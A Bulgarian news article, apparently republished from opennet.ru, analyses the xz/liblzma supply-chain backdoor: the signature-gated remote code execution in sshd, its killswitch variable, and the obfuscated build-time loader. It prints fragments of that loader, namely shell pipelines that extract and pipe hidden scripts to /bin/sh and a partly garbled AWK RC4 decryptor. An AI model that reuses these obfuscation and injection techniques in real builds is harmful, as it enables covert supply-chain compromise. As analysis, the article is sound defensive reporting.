Анализ логиката за активиране и функциониране на бекдора в пакета xz

Достъпни са предварителни резултати от обратен инженеринг на злонамерен обектен файл, вграден в liblzma в резултат на кампания за разпространение на бекдора в пакета xz. Бекдорът засяга само системи x86_64 на базата на Linux ядро и C библиотеката Glibc, в които sshd е приложен допълнителен патч, осъществяващ свързване с библиотеката libsystemd за поддръжка на механизма sd_notify. Първоначално се предполагаше, че бекдорът позволява заобикаляне на аутентификацията в sshd и достъп до системата чрез SSH. По-подробен анализ показа, че не е така и бекдорът предоставя възможност за изпълнение на произволен код в системата, без да оставя следи в логовете на sshd.

По-конкретно, перехващаната функция RSA_public_decrypt от бекдора проверява подписа на хоста, използвайки фиксиран ключ Ed448, и в случай на успешна проверка изпълнява предадения код от външен хост с помощта на функцията system() на етапа преди свалянето на привилегиите от процеса sshd. Данните, съдържащи кода за изпълнение, се извлекат от параметъра „N“, предаден на функцията RSA_public_decrypt (поле „n“ от структурата rsa_st, съдържаща предоставения от външен хост публичен ключ), проверяват се с контролна сума и се разшифроват с предварително зададен ключ ChaCha20 на етапа преди удостоверяването на цифровия подпис Ed448.

Като индикатор за активиране на бекдора в sshd се използва стандартния механизъм за обмен на хостови ключове. Бекдорът се възползва от това, че сертификатите OpenSSH включват публичния ключ на лицето, което е генерирало подписа, и реагира само на ключа, подготвен от злоумышленика и отговарящ на предварително зададения фиксиран ключ Ed448. Ако проверката на подписа с публичния ключ не премине или ако целостта на данните за изпълнение не се потвърди, бекдорът връща контрола на стандартните функции на SSH.

Понеже закритият ключ на нападателя е неизвестен, не е възможно да се реализира проверочен код, който да позволи на трети лица да активират бекдора и да реализират скенер за компрометирани хостове в мрежата. Изследователите са подготвили скрипт, който демонстрира техниката за подмяна на публичния ключ с произволно съдържание в сертификата OpenSSH, предаван от SSH клиента, който ще бъде обработен в перехванатата от бекдора функция RSA_public_decrypt.

Изследователите също така забелязали наличие на конструкция, която деактивира бекдора (killswitch) на локалната система, при наличието на зададена преди стартиране на sshd променлива на средата «yolAbejyiejuvnup=Evjtgvsh5okmkAvj».

Допълнително може да се отбележи детален анализ на shell конструкциите, използвани за замъгляване на процеса на извличане на обектния файл с бекдора и неговата подмяна в библиотеката liblzma. По време на компилацията на пакета xz от скрипта build-to-host.m4 се е изпълнявал код, който намиral сред тестовите файлове архива bad-3-corrupt_lzma2.xz, заместил в него някои символи, превърнал го в неповреден архив и извлякъл от него shell скрипт. gl_am_configmake=`grep -aErls «#{4}[[:alnum:]]{5}#{4}$» $srcdir/ 2> /dev/null` … gl_[$1]_config=’sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2> /dev/null’ gl_path_map=’tr «\t \-_» » \t_\-«‘

Полученият shell-скрипт по части извличаше от съдържанието на архива good-large_compressed.lzma още един shell-скрипт, пропускайки определени последователности с командите head и tail, и заменяйки символи с командата tr. ####Hello#### # тук има малко бинарни байтове, но като коментар, те са игнорирани [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 [ ! $(uname) = «Linux» ] && exit 0 eval `grep ^srcdir= config.status` if test -f ../../config.status;then eval `grep ^srcdir= ../../config.status` srcdir=«../../$srcdir» fi export i=«((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)»;(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr «\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113» «\0-\377»)|xz -F raw —lzma1 -dc|/bin/sh ####World####

В резултат се формираше доста сложен и обемен shell-скрипт, извличащ директно файла с бекдор от архива good-large_compressed.lzma, декриптиращ го и вграждащ го в liblzma. Между другото, в скрипта присъстваше реализация на механизма за плъгини, позволяваща след това да се доставят допълнителни изпълними компоненти чрез разполагане на нови тестови архиви, без да се променят good-large_compressed.lzma и bad-3-corrupt_lzma2.xz, а използвайки търсене по сигнатура. В кода също беше включен декриптатор на базата на алгоритъма RC4, реализиран на езика AWK: N=0 W=88664 else N=88664 W=0 fi xz -dc $top_srcdir/tests/files/$p | eval $i | LC_ALL=C sed «s/\(.\)/\1\n/g» | LC_ALL=C awk ‘BEGIN{FS=«\n»;RS=«\n»;ORS=«»;m=256;for(i=0;i<m;i++){t[sprintf(«x%c»,i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t[«x» (NF /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true

Източник: opennet.ru

Купете надежден хостинг за сайтове със защита от DDoS, VPS и VDS сървъри 🔥 Купете надежден хостинг за сайтове със защита от DDoS, VPS и VDS сървъри | ProHoster